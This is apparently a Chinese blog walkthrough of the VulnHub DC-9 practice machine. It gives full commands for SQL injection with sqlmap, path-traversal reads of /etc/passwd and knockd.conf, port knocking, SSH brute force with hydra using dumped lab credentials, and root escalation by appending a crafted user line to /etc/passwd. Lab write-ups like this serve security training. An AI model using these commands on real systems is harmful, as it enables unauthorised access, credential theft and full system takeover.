靶场练习第十七天~vulnhub靶场之dc-9

本文详细记录了一次渗透测试的过程,包括NAT环境下kali与靶机的网络设置,通过nmap扫描靶机开放端口,利用sqlmap进行SQL注入,发现并利用文件包含漏洞,通过ssh自定义端口连接,使用hydra进行密码爆破,最终实现提权获取root权限。整个过程展示了渗透测试中的信息收集、枚举、漏洞利用和权限提升等关键步骤。
摘要由CSDN通过智能技术生成

一、准备工作

kali和靶机都选择NAT模式(kali与靶机同网段)

1.靶场环境

下载链接:https://download.vulnhub.com/dc/DC-9.zip

2.kali的ip

命令:ifconfig

3.靶机的ip

扫描靶机ip

sudo arp-scan -l

二、信息收集

1.nmap的信息收集

(1)扫描靶机开放的端口及其服务

nmap -A -p- 192.168.101.122

2.网站的信息收集

(1)靶机开放了80端口,先访问靶机网站看看有什么有用的信息

(2)使用sqlmap命令

它存在一个表单,在这里就很有可能存在着注入漏洞,所以我们先尝试着用sqlmap跑一下:

sqlmap -u "http://192.168.101.122/results.php" --data "search=1" --dbs#获取当前数据库

sqlmap -u "http://192.168.101.122/results.php" --data "search=1" -D users --tables# 获取表名

sqlmap -u"http://192.168.101.122/results.php" --data "search=1" -D users -T UserDetails --columns

#获取字段名

sqlmap -u "http://192.168.101.122/results.php" --data "search=1" -D users -T UserDetails -C username,password --dump #获取账号密码

查询数据库名

查询users数据库下面的表名

获取userDetails字段名获取员工的账号密码

这里是那些员工这账号和密码,后面可能会用到,先放着,然后再回过来爆另一个Staff数据库看看会有什么东西:

sqlmap -u "http://192.168.101.122/results.php" --data "search=1" -D Staff --tables

sqlmap -u "http://192.168.101.122/results.php" --data "search=1" -D Staff -T Users --dump

尝试用得到的用户密码登录

注意:File does not exist 这句话它说文件不存在

三、枚举

1.看看本地文件是否存在文件包含漏洞

访问:http://192.168.101.122/manage.php?file=../../../../../../../../etc/passwd

2.查看ssh配置文件knockd.conf

访问:http://192.168.101.122/manage.php?file=../../../../../../../../etc/knockd.conf

发现ssh 自定义的端口号

四、ssh连接

1.知道端口号后,然后进行敲门,

for x in 7469 8475 9842; do nc 192.168.101.122 $x;done

nmap -sV -A 192.168.101.122 -p 22

2.使用nmap命令查看靶机ssh访服务是否能够正常运行

nmap -p22 192.168.101.122

3.ssh开启了,但需要账号密码,把之前爆破的员工账号密码分别写入两个字典

kali@kali:~$ vi password.txt

kali@kali:~$ cat password.txt

3kfs86sfd

468sfdfsd2

4sfd87sfd1

RocksOff

TC&TheBoyz

B8m#48sd

Pebbles

BamBam01

UrAG0D!

Passw0rd

yN72#dsd

ILoveRachel

3248dsds7s

smellycats

YR3BVxxxw87

Ilovepeepee

Hawaii-Five-0

kali@kali:~$ vi username.txt

kali@kali:~$ cat username.txt

marym

julied

fredf

barneyr

tomc

jerrym

wilmaf

bettyr

chandlerb

joeyt

rachelg

rossg

monicag

phoebeb

scoots

janitor

janitor2

4.hydra字典爆破

(1)通过ssh爆破

hydra -L username.txt -P password.txt 192.168.101.122 ssh

(2)得到了两个用户密码,其中有个是管理员,先用janitor用户登录

ssh janitor@192.168.101.122

(3)在.secrets-for-putin,发现密码字典,将收集到的密码放入刚才的password文件里面

cd .secrets-for-putin

cat passwords-found-on-post-it-notes.txt

(4)在kali再一次使用hydra爆破

hydra -L username.txt -P password.txt 192.168.101.122 ssh

(5)用fredf用户进行ssh登录

ssh fredf@192.168.101.122

五、提权

1.查看当前用户可以执行的操作

sudo -l

2.查看/opt/devstuff目录下的test.py

如上图可知进入 /opt/devstuff/dist/test/test不需要密码,进入该目录下查看

cd /opt/devstuff

cat test.py

test.py是一个python脚本。它既然拥有root权限,那现在我们要做的就是构造一个拥有root权限的用户,并且在/etc/passwd文件中储存,只要使用这个用户登录后,就可以获取到root权限。

3.在kali使用openssl工具先创建一个本地的加密用户

openssl passwd -1 -salt admin 111111

4.提权

在靶机/opt/devstuff/dist/test目录下面创建一个叫swn的文件(随便命名) 再使用sudo用那个test程序来运行这个文件,随后切换成我们添加的这个用户,输入自己设定的密码就可以成功提权到root用户了,最后进入root目录下查看flag即可。

echo 'admin:$1$admin$2WRLhTGcIMgZ7OhwCpREK1:0:0::/root:/bin/bash' >> /tmp/swn

sudo ./test /tmp/swn /etc/passwd

su admin

cd /root

cat theflag.txt

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值